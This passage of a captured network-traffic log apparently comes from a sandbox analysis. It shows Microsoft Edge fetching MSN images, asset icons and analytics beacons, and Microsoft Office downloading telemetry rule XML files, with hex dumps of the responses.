2024-11-24 22:24:40 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 22:24:40 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sat, 23 Nov 2024 18:14:45 GMT X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: 5c4ddcbc-0d99-4ea0-a3c4-13e18d04c61f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=330545 Expires: Thu, 28 Nov 2024 18:13:45 GMT Date: Sun, 24 Nov 2024 22:24:40 GMT Connection: close
2024-11-24 22:24:40 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49845	104.117.182.56	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:40 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 22:24:40 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=140620 Expires: Tue, 26 Nov 2024 13:28:20 GMT Date: Sun, 24 Nov 2024 22:24:40 GMT Connection: close
2024-11-24 22:24:40 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49846	104.117.182.56	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:40 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 22:24:40 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=427992 Expires: Fri, 29 Nov 2024 21:17:52 GMT Date: Sun, 24 Nov 2024 22:24:40 GMT Connection: close
2024-11-24 22:24:40 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:40 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:40 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 2160d4c7-701e-0021-5913-3d3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222440Z-178bfbc474bscnbchC1NYCe7eg00000006q000000000dv2e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:40 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49849	18.161.34.125	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:40 UTC	1012	OUT	GET /b2?rn=1732487076699&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0A261308FCDB683529D90649FDDC6975&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1213e31350db9ecba7d85411732487078; XID=1213e31350db9ecba7d85411732487078
2024-11-24 22:24:40 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Sun, 24 Nov 2024 22:24:40 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 da50954f4b0e035bd3d8a3139e1f5afa.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BOS50-P2 X-Amz-Cf-Id: B9IxM8q2AatHjgZDcNU0OTkE8R-3X-2bkqPRVNANb7R7AwVPV9JTDg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49843	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:40 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:41 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:40 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 64264af0-501e-005b-1fb0-3dd7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222440Z-174c587ffdfcb7qhhC1TEB3x70000000053000000000ey5d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 22:24:41 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	49850	13.107.246.40	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:40 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 22:24:41 UTC	536	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:41 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: b5bd8ae7-b01e-0031-7959-3c33d0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T222441Z-174c587ffdfb5q56hC1TEB04kg00000004x000000000k077 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:41 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	49851	13.107.246.40	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:40 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 22:24:41 UTC	536	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:41 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 9d84fa81-201e-0034-192a-3dc7af000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241124T222441Z-178bfbc474b7cbwqhC1NYC8z4n00000006mg0000000004nk Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 22:24:41 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49853	20.110.205.119	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:41 UTC	1261	OUT	GET /c.gif?rnd=1732487076699&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=246d17c6c4d8456ebf71b0d824437f88&activityId=246d17c6c4d8456ebf71b0d824437f88&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=942824F5F1BF4886841E8919D736C752&MUID=0A261308FCDB683529D90649FDDC6975 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0A261308FCDB683529D90649FDDC6975; _EDGE_S=F=1&SID=3E2CFF2A86D9641108B3EA6B876D6559; _EDGE_V=1; SM=T
2024-11-24 22:24:41 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=0A261308FCDB683529D90649FDDC6975; domain=.msn.com; expires=Fri, 19-Dec-2025 22:24:41 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=0A261308FCDB683529D90649FDDC6975; domain=c.msn.com; expires=Fri, 19-Dec-2025 22:24:41 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Sun, 01-Dec-2024 22:24:41 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Sun, 24-Nov-2024 22:34:41 GMT; path=/; SameSite=None; Secure; Date: Sun, 24 Nov 2024 22:24:41 GMT Connection: close Content-Length: 42
2024-11-24 22:24:41 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:41 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:41 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:41 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 79192ebf-401e-0035-7e68-3b82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222441Z-178bfbc474bh5zbqhC1NYCkdug00000006g000000000bcb8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:41 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:41 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:42 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:42 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 09788b64-001e-0046-6eb7-3eda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222442Z-178bfbc474bmqmgjhC1NYCy16c00000006n000000000dzbd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 22:24:42 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 